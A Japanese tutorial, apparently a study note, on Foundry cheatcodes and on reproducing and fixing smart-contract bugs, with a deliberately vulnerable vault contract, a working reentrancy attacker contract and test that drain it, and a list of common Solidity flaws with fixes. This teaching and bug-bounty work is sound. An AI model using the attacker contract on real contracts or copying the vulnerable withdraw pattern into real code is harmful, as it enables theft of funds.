よく使われる Cheatcodes
Cheatcode | 説明 |
---|---|
deal(address, uint) |
アドレスの ETH 残高を変更 |
writeTokenBalance(...) |
任意のERC20トークンの残高を変更 |
prank(address) |
次の1つの呼び出しで msg.sender を偽装 |
startPrank(address) / stopPrank()
|
複数呼び出しの間、ずっと msg.sender を偽装 |
warp(uint) |
ブロックタイムスタンプを変更(block.timestamp ) |
roll(uint) |
ブロックナンバーを変更(block.number ) |
expectRevert() |
revert を期待(例外テスト) |
expectEmit() |
イベントの発火を検証 |
store(address, bytes32 key, bytes32 value) |
ストレージを直接書き換え |
load(address, bytes32 key) |
ストレージを直接読み出し |
record() / accesses(address)
|
ストレージの読み書きを追跡 |
ffi(string[]) |
外部コマンドを実行(例:シェルコマンド)※安全性に注意 |
broadcast() |
スクリプトをブロードキャストモードに(デプロイ用) |
function testFakeSenderAndTime() public {
// msg.sender を別アドレスに偽装
address hacker = address(0xBEEF);
vm.prank(hacker);
myContract.doSomething(); // msg.sender == hacker になる
// ブロックタイムを未来に進める
vm.warp(block.timestamp + 1 days);
assertEq(block.timestamp, original + 1 days);
}
// スロット1に任意の値を書き込む
vm.store(address(myContract), bytes32(uint256(1)), bytes32(uint256(123)));
// 値を読み取る
bytes32 val = vm.load(address(myContract), bytes32(uint256(1)));
参考ドキュメント
Foundry公式ドキュメント:
👉 https://book.getfoundry.sh/cheatcodes/
過去のバグの例
// contracts/VulnerableVault.sol
pragma solidity ^0.8.0;
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0, "Nothing to withdraw");
// ✅ 問題:送金が先、残高更新が後
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send");
balances[msg.sender] = 0;
}
// allow deposits to contract
receive() external payable {}
}
Foundry テスト
// test/VulnerableVault.t.sol
import "forge-std/Test.sol";
contract Attacker {
VulnerableVault public target;
address owner;
constructor(address _target) {
target = VulnerableVault(_target);
owner = msg.sender;
}
// fallback to re-enter
receive() external payable {
if (address(target).balance > 0) {
target.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
target.deposit{value: 1 ether}();
target.withdraw();
}
function withdrawAll() external {
payable(owner).transfer(address(this).balance);
}
}
contract VulnerableVaultTest is Test {
VulnerableVault vault;
Attacker attacker;
function setUp() public {
vault = new VulnerableVault();
attacker = new Attacker(address(vault));
// Setup: vault に 10 ETH 入れておく
vm.deal(address(this), 20 ether);
vault.deposit{value: 10 ether}();
}
function testExploit() public {
// AttackerにETHを持たせる
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack{value: 1 ether}();
// 🎯 攻撃成功:Vaultの残高が0になっている
assertEq(address(vault).balance, 0);
}
}
修正済みコード(BugFix)
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0, "Nothing to withdraw");
// ✅ 修正:状態を先に更新
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send");
}
✅ 解説:何が問題で、どう直したか?
外部コール(call)を先に行う
内部状態(残高)を先に更新することで、再入可能な状態を防止
call はフォールバック関数を呼ぶため危険
ガス制限付き transfer/send にする方法もあるが、EIP-1884 以降では非推奨になったため状態更新が最善策
🎓 学習ポイントまとめ
Foundryは本物の攻撃を再現できる強力なテスト環境。
状態変更と外部呼び出しの順番はセキュリティに直結する。それほど順番が大事になる。
Bug Bountyは「攻撃シナリオをテストで再現+修正コードを書く」という点でFoundryと相性抜群。
🔐 よくある脆弱性とFoundryによる再現+修正
- ✅ Reentrancy(再入可能性)
説明: 外部コール中に再び同じ関数が呼ばれ、状態が壊される。
再現: .callの直後に状態更新がある。
修正: 状態を先に更新し、後でコール。
// 修正: 状態更新を先にする
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
- 🧮 Integer Overflow / Underflow
説明: uint256 におけるオーバーフロー / アンダーフロー
再現: Solidity 0.8未満 or unchecked で a - b が underflow。
修正: SafeMath か、Solidity 0.8以降のデフォルトチェックに依存。
// 脆弱な例 (unchecked ブロック内)
unchecked {
uint256 x = a - b; // underflow の危険
}
- 🔗 Unchecked External Call
説明: call, delegatecall, send, transfer の戻り値を確認しない。
再現: (addr.call{...}(...)); ← 戻り値を確認しない。
修正: require(success, "Call failed") を追加。
(bool success, ) = addr.call(data);
require(success, "Call failed");
- 🔓 Access Control Misconfiguration
説明: onlyOwner などの制限が漏れている。
再現: 誰でも withdraw(), pause(), setAdmin() できる。
修正: onlyOwner などの修飾子を付与。
modifier onlyOwner {
require(msg.sender == owner, "Not owner");
_;
}
- 💵 Incorrect ERC20 Transfer Check
説明: transfer() などの戻り値を確認しないトークン操作。
再現: token.transfer(...) の戻り値を無視。
修正: 戻り値を require。
require(token.transfer(to, amount), "Transfer failed");
- ⏱ Timestamp Dependence
説明: block.timestamp に依存したゲーム性や制御。
再現: 「24時間経ったら誰でも実行可」など。
修正: 検証環境で warp() を使ってテスト可。経過時間のチェックを厳密に行う。
- 🧊 Denial of Service (DoS)
説明: ガス消費・無限ループ・状態のロックでサービス不能。
再現: for ループで状態を消費者に依存して回す。
修正: Pull方式に変更、limit追加など。
- 🧵 Front-running / MEV
説明: 公開状態で approve(), setPrice() 等が悪用される。
再現: パブリックな setBid(uint price) を任意の誰でも呼べる。
修正: 署名付き注文(EIP-712)、commit-reveal戦略など。
- 🪤 Uninitialized Proxy Storage
説明: プロキシパターンで initialize() が誰でも呼べる。
再現: initialize() に onlyOwner 修飾子なし。
修正: initializer パターンを使い、再実行を防止。
- 💥 Selfdestruct Misuse
説明: selfdestruct() によって強制的にETHを送りつけられる。
再現: selfdestruct(payable(target));
修正: receive() を意図的に設計、不要なETHに対応。